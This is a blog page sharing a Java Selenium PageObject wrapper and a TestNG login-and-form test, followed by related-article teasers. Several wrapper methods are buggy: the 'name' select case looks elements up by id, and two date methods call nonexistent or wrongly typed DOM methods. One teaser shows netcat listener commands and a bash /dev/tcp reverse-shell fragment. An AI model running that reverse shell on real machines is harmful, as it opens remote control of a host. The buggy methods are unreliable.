重新封装了的selenium代码,包括click事件,sendkeys事件,select事件,以及对readonly日期控件的处理

package com.common;

import java.util.concurrent.TimeUnit;

import org.openqa.selenium.By;
import org.openqa.selenium.JavascriptExecutor;
import org.openqa.selenium.WebDriver;
import org.openqa.selenium.WebElement;
import org.openqa.selenium.chrome.ChromeDriver;
import org.openqa.selenium.support.ui.Select; public class PageObject {
WebDriver driver; //Start the Chrome browser
public WebDriver startChrome(String urlString){
System.out.println("start Chrome browser...");
System.setProperty("webdriver.chrome.driver", "C:\\Program Files (x86)\\Google\\Chrome\\Application\\chromedriver.exe");
driver = new ChromeDriver();
driver.get(urlString);
System.out.println("start Chrome browser succeed...");
driver.manage().timeouts().implicitlyWait(30, TimeUnit.SECONDS);
driver.manage().window().maximize();
return driver;
} // Web-related click events
public void click(String selector,String pathValue){
switch (selector) {
case "id":
driver.findElement(By.id(pathValue)).click();
System.out.println("This test click event is used-id: "+pathValue);
break;
case "name":
driver.findElement(By.name(pathValue)).click();
System.out.println("This test click event is used-name: "+pathValue);
break;
case "xpath":
driver.findElement(By.xpath(pathValue)).click();
System.out.println("This test click event is used-xpath: "+pathValue);
break;
case "cssSelector":
driver.findElement(By.cssSelector(pathValue)).click();
System.out.println("This test click event is used-cssSelector: "+pathValue);
break;
case "className":
driver.findElement(By.className(pathValue)).click();
System.out.println("This test click event is used-className: "+pathValue);
break;
case "tagName":
driver.findElement(By.tagName(pathValue)).click();
System.out.println("This test click event is used-tagName: "+pathValue);
break;
case "linkText":
driver.findElement(By.linkText(pathValue)).click();
System.out.println("This test click event is used-linkText: "+pathValue);
break;
case "partialLinkText":
driver.findElement(By.partialLinkText(pathValue)).click();
System.out.println("This test click event is used-partialLinkText: "+pathValue);
break;
default:
System.out.println("Illegal selector: "+selector+" !!!");
break;
} } //Web-related sendKeys events
public void sendKeys(String selector,String pathValue,String sendkeys){
switch (selector) {
case "id":
driver.findElement(By.id(pathValue)).clear();
driver.findElement(By.id(pathValue)).sendKeys(sendkeys);
System.out.println("This test sendKeys event is used-id: "+pathValue);
System.out.println("By id senKeys value: "+sendkeys);
break;
case "name":
driver.findElement(By.name(pathValue)).clear();
driver.findElement(By.name(pathValue)).sendKeys(sendkeys);
System.out.println("This test sendKeys event is used-name: "+pathValue);
System.out.println("By name senKeys value: "+sendkeys);
break;
case "xpath":
driver.findElement(By.xpath(pathValue)).clear();
driver.findElement(By.xpath(pathValue)).sendKeys(sendkeys);
System.out.println("This test sendKeys event is used-xpath: "+pathValue);
System.out.println("By xpath senKeys value: "+sendkeys);
break;
case "linkText":
driver.findElement(By.linkText(pathValue)).clear();
driver.findElement(By.linkText(pathValue)).sendKeys(sendkeys);
System.out.println("This test sendKeys event is used-linkText: "+pathValue);
System.out.println("By linkText senKeys value: "+sendkeys);
break;
case "className":
driver.findElement(By.className(pathValue)).clear();
driver.findElement(By.className(pathValue)).sendKeys(sendkeys);
System.out.println("This test sendKeys event is used-className: "+pathValue);
System.out.println("By className senKeys value: "+sendkeys);
break;
case "tagName":
driver.findElement(By.tagName(pathValue)).clear();
driver.findElement(By.tagName(pathValue)).sendKeys(sendkeys);
System.out.println("This test sendKeys event is used-tagName: "+pathValue);
System.out.println("By tagName senKeys value: "+sendkeys);
break;
case "partialLinkText":
driver.findElement(By.partialLinkText(pathValue)).clear();
driver.findElement(By.partialLinkText(pathValue)).sendKeys(sendkeys);
System.out.println("This test sendKeys event is used-partialLinkText: "+pathValue);
System.out.println("By partialLinkText senKeys value: "+sendkeys);
break;
case "cssSelector":
driver.findElement(By.cssSelector(pathValue)).clear();
driver.findElement(By.cssSelector(pathValue)).sendKeys(sendkeys);
System.out.println("This test sendKeys event is used-cssSelector: "+pathValue);
System.out.println("By cssSelector senKeys value: "+sendkeys);
break;
default:
System.out.println("Illegal selector: "+selector+" !!!");
break;
}
} //Web-related select events ,selectByVisibleText() method
public void select(String selector,String pathValue,String selectValue) {
switch (selector) {
case "id":
WebElement eId = driver.findElement(By.id(pathValue));
Select selectId = new Select(eId);
selectId.selectByVisibleText(selectValue);
System.out.println("The select value is: "+selectValue);
System.out.println("This test select event is used-id: "+pathValue);
break;
case "name":
WebElement eName = driver.findElement(By.id(pathValue));
Select selectName = new Select(eName);
selectName.selectByVisibleText(selectValue);
System.out.println("The select value is: "+selectValue);
System.out.println("This test select event is used-name: "+pathValue);
break;
case "xpath":
WebElement eXpath = driver.findElement(By.xpath(pathValue));
Select selectXpath = new Select(eXpath);
selectXpath.selectByVisibleText(selectValue);
System.out.println("The select value is: "+selectValue);
System.out.println("This test select event is used-xpath: "+pathValue);
break;
case "cssSelector":
WebElement eCss = driver.findElement(By.cssSelector(pathValue));
Select selectCss = new Select(eCss);
selectCss.selectByVisibleText(selectValue);
System.out.println("The select value is: "+selectValue);
System.out.println("This test select event is used-cssSelector: "+pathValue);
break;
case "className":
WebElement eClass = driver.findElement(By.className(pathValue));
Select selectClass = new Select(eClass);
selectClass.selectByVisibleText(selectValue);
System.out.println("The select value is: "+selectValue);
System.out.println("This test select event is used-className: "+pathValue);
break;
case "tagName":
WebElement eTagName = driver.findElement(By.tagName(pathValue));
Select selectTagName = new Select(eTagName);
selectTagName.selectByVisibleText(selectValue);
System.out.println("The select value is: "+selectValue);
System.out.println("This test select event is used-tagName: "+pathValue);
break;
case "linkText":
WebElement eLinkText = driver.findElement(By.linkText(pathValue));
Select selectLinkText = new Select(eLinkText);
selectLinkText.selectByVisibleText(selectValue);
System.out.println("The select value is: "+selectValue);
System.out.println("This test select event is used-linkText: "+pathValue);
break;
case "partialLinkText":
WebElement epart = driver.findElement(By.partialLinkText(pathValue));
Select selectPart = new Select(epart);
selectPart.selectByVisibleText(selectValue);
System.out.println("The select value is: "+selectValue);
System.out.println("This test select event is used-partialLinkText: "+pathValue);
break;
default:
System.out.println("Illegal selector: "+selector+" !!!");
break;
}
} // The web-related read-only date is set by id
public void selectDateById(String idpath,String date){
JavascriptExecutor removeAttribute = (JavascriptExecutor)driver;
//remove readonly attribute
removeAttribute.executeScript("var setDate=document.getElementById(\""+idpath+"\");setDate.removeAttribute('readonly');");
WebElement setDatElement=driver.findElement(By.id(idpath));
setDatElement.clear();
setDatElement.sendKeys(date);
} // The web-related read-only date is set by name
public void selectDateByName(String namepath,String date){
JavascriptExecutor removeAttribute = (JavascriptExecutor)driver;
//remove readonly attribute
removeAttribute.executeScript("var setDate=document.getElementByName(\""+namepath+"\");setDate.removeAttribute('readonly');");
WebElement setDatElement=driver.findElement(By.name(namepath));
setDatElement.clear();
setDatElement.sendKeys(date);
} // The web-related read-only date is set by ClassName
public void selectDateByClassName(String ClassNamepath,String date){
JavascriptExecutor removeAttribute = (JavascriptExecutor)driver;
//remove readonly attribute
removeAttribute.executeScript("var setDate=document.getElementsByClassName(\""+ClassNamepath+"\");setDate.removeAttribute('readonly');");
WebElement setDatElement=driver.findElement(By.className(ClassNamepath));
setDatElement.clear();
setDatElement.sendKeys(date);
} }

对上面的封装代码进行测试的小案例

package com.common;

import org.testng.annotations.Test;
import org.testng.annotations.BeforeMethod;
import org.testng.annotations.AfterMethod; import com.common.PageObject; public class NewTest {
PageObject PO= new PageObject();
@Test
public void f() throws Exception {
PO.sendKeys("name", "username", "admin");
PO.sendKeys("name", "password", "1234");
Thread.sleep(10000);
PO.click("className", "login-btn");
Thread.sleep(5000);
PO.click("linkText", "用户管理");
Thread.sleep(5000);
PO.click("xpath", "//*[@id='mainPage']/div[3]/div[1]/div[2]/div/a[1]");
Thread.sleep(5000);
PO.select("xpath", "//*[@id='user-add-modal']/div/div/div[2]/form/div/div[3]/div[4]/div[1]/div/div/select", "集团公司");
String chenliriqi="addregisterDate";
String setdate="2015-5-25";
String dateString = "2018-5-15";
Thread.sleep(5000);
String qixian= "addbusinssAllotedTime";
PO.selectDateById(chenliriqi,setdate);
PO.selectDateById(qixian,dateString);
PO.click("xpath","//*[@id='user-add-modal']/div/div/div[3]/button[1]"); } @BeforeMethod
public void beforeMethod() {
PO.startChrome("http://124.193.90.194:8020/login.html"); } @AfterMethod
public void afterMethod() { } }

selenium更加高效的PageObject 对象操作代码的更多相关文章

  1. python+selenium的WebElement对象操作

    webelement对象操作 webelement对象是selenium中所有元素的父类,也就是webelement对象拥有的方法,其它元素对象都会有: 只是不同的对象在调用特定方法时,效果是不一样的 ...

  2. python+selenium文本框对象以及按钮对象操作

    文本框对象 from selenium import webdriverfrom time import sleep driver = webdriver.Firefox() # 指定和打开浏览器ur ...

  3. [小北De编程手记] : Lesson 02 - Selenium For C# 之 核心对象

    从这一篇开始,开始正式的介绍Selenium 以及相关的组件,本文的将讨论如下问题: Selenium基本的概念以及在企业化测试框架中的位置 Selenium核心对象(浏览器驱动) Web Drive ...

  4. [python爬虫] Selenium常见元素定位方法和操作的学习介绍(转载)

    转载地址:[python爬虫] Selenium常见元素定位方法和操作的学习介绍 一. 定位元素方法 官网地址:http://selenium-python.readthedocs.org/locat ...

  5. 免费高效实用的.NET操作Excel组件NPOI(.NET组件介绍之六)

    很多的软件项目几乎都包含着对文档的操作,前面已经介绍过两款操作文档的组件,现在介绍一款文档操作的组件NPOI. NPOI可以生成没有安装在您的服务器上的Microsoft Office套件的Excel ...

  6. 原生JS中常用的Window和DOM对象操作汇总

    一.常用的Window对象操作 Window对象中又包含了document.history.location.Navigator和screen几个对象,每个对象又有自己的属性方法,这里window可以 ...

  7. DOM、Window对象操作

    一.DOM的基本概念 DOM是文档对象模型,这种模型为树模型:文档是指标签文档:对象是指文档中每个元素:模型是指抽象化的东西. 一.基本语法: 数据类型(字符串,小数,整数,布尔,时间) var, v ...

  8. Scala 深入浅出实战经典 第39讲:ListBuffer、ArrayBuffer、Queue、Stack操作代码实战

    王家林亲授<DT大数据梦工厂>大数据实战视频 Scala 深入浅出实战经典(1-64讲)完整视频.PPT.代码下载:百度云盘:http://pan.baidu.com/s/1c0noOt6 ...

  9. js学习笔记-编写高效、规范的js代码-Tom

    编写高效.规范的js代码: 1.变量命名空间问题,尽量使用局部变量,防止命名冲突(污染作用域中的全局变量):全局空间命名的变量可以在对应的文档域任意位置中使用window调用. 2.尽量使用单var定 ...

随机推荐

  1. CentOS7 yum安装zabbix3.2.6

    前言: 本人小白,在一个多月前通过面试进入公司,在进入公司的第一天,老板把我叫到他办公室,坐下来慢慢喝茶,吹牛,给我吹他们以前做的软件,经营的产品,还装作一副什么都告诉我的样子,其实这都是套路,我早已 ...

  2. Linux下NC反弹shell命令

    本机开启监听: nc -lvnp 4444nc -vvlp 4444 目标机器开启反弹 bash版本: bash -i >& /dev/tcp/ >& perl版本: pe ...

  3. Html5元素布局

    本教程十分简单,适合新手(因为我也是新手).本教程参考了"菜鸟教程". 笔者希望做到元素相对于浏览器的角落布局,即九个典型位置: 这个理念其实和UE4中的UMG锚定一样.Html5 ...

  4. Oracle数据迁移笔记-Rownum与序列的自增长的组合用法技巧

    Rownum与序列的自增长的组合用法技巧 根据序列自增长的步长规律,结合表行记录Rownum值的规则批量生成表的行记录主键的用法技巧 案例如下: CREATE OR REPLACE PROCEDURE ...

  5. Linux查看内存占用情况

    输入:top PID 进程的ID USER 进程所有者 PR 进程的优先级别,越小越优先被执行 Ninice 值 VIRT 进程占用的虚拟内存 RES 进程占用的物理内存 SHR 进程使用的共享内存 ...

  6. 玩玩微信公众号Java版之四:自定义公众号菜单

    序: 微信公众号基本的菜单很难满足个性化及多功能的实现,那么微信能否实现自定菜单呢,具体的功能又如何去实现么?下面就来学习一下微信自定义公众号菜单吧! 自定义菜单接口可实现多种类型按钮,如下: 1.c ...

  7. Spark Streaming笔记——技术点汇总

    目录 目录 概况 原理 API DStream WordCount示例 Input DStream Transformation Operation Output Operation 缓存与持久化 C ...

  8. jmeter之BeanShell对两个变量断言对比

    在jmeter的中,断言没法对两个变量的进行对比后判断,只能使用Bean Shell断言来进行. 假设需求: 获取某类型用户uid个数与数据库查询结果是否相等 获取uid个数用http接口获取统计数据 ...

  9. Objective-C NSFileManager的使用 各种文件操作

    所有方法 都很简单,大概记录一下,写文件并没有是追加的方式而是简单的覆盖 //创建文件夹 - (BOOL)creatDir:(NSString*)newDirName at:(NSString*)di ...

  10. 动态rem与1px边框问题的理解

    当我们在项目开发中,拿到设计师的设计图,满怀欣喜的准备按照设计图将页面实现出来的时候,我们通常会遇到这个问题: 如何将页面的内容按照在不同手机屏幕浏览的情况下,比例都是不变的呢?这个时候我们就需要使用 ...